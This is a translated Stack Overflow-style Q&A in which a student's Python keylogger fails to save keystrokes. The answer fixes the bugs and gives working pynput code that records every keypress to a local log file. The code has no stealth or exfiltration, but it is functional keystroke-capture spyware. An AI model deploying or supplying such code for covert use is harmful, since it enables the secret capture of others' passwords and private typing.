Python 键盘记录器:.txt 文件不会保存我的击键

Python Keylogger: .txt file won't save my keystrokes

作为学校项目的一部分,我正在使用 Python 创建一个键盘记录器,到目前为止,我已启用我的程序来记录用户击键。我希望将这些击键保存到一个名为 'log.txt' 的文件中,我已经为它编写了代码,但是 'log.txt' 文件什么也没有保存,它只是空白。

我该如何解决这个问题?这是我的代码。

count = 0
keys = [""]

def key_pressed(key):
    global keys, count
    keys = '{0}'.format(key)
    print(keys)
    
    

    if count >= 10:
        count = 0
        log_2_file(keys)
        keys = [""]

def log_2_file(keys):
     with open(file, path + ext + file, "a") as log_file:
         for key in keys:
             log_file(str(key))

def key_released(key):
    if key == keyboard.Key.esc:
        return False


with keyboard.Listener(on_press=key_pressed, on_release=key_released) as loop:
    loop.join()

非常感谢你的帮助,我不知道我哪里错了,来这里绝对是最后的选择。

(顺便说一下,我在 IDLE 3.7.0 中编码)

你的代码有几个错误。

log_2_file函数中:

  1. with open(file, path + ext + file, "a")。您在这里将三个参数传递给 open(...)。尽管 open 支持超过 2 个参数,例如 buffering(请参阅 ),但看起来您只是混淆了一些东西。所以我用 "keylogger.log".
  2. 替换了前两个参数 (file, path + ext + file)
  3. log_file('str(key)')log_flie 在这里不是一个函数,它是一个文件对象。它是不可调用的,当你要在其中写东西时,你应该改用它的 .write(something) 方法。您还应该添加 log_file.flush() 以确保更改立即出现(不仅仅是在您 .close() 文件之后,或者退出 with open(...) as ...: 正文之后)
  4. 在写入文件时,还应在每个键后添加“\n”,否则所有内容将写入一行,甚至不同键之间没有space。
  5. 您在尝试编写包含 10 个按键的块之前将 keys 设置为 [""]。这是个坏主意,因为日志文件的第一行是空的。你最好把keys写入一个文件,然后写一个换行符。

key_pressed函数中:

  1. 为什么用{0}.format(key)而不是str(key)
  2. 据推测,您正在尝试将新密钥添加到 keys 列表中。但是您只是将 keys 值设置为 str(key).
  3. 您根本没有更改 count 值,因此它永远不会等于 10。相反,它始终为 0。
  4. 使用 count >= 10 是个坏主意。在要超过10之前,肯定是10,计数又是0了。所以,请改用 count == 10

这是代码的更新版本:

from pynput import keyboard


count, keys = 0, []

def log_2_file(keys):
    with open("keylogger.log", "a") as log_file:
        for key in keys:
            log_file.write(str(key) + "\n")
            log_file.flush()
        log_file.write("\n")
            
def key_pressed(key):
    global keys, count

    keys.append(str(key))
    count += 1
    
    if count == 10:
        log_2_file(keys)
        count, keys = 0, []             

def key_released(key):
    if key == keyboard.Key.esc:
        return False

with keyboard.Listener(on_press=key_pressed, on_release=key_released) as loop:
    loop.join()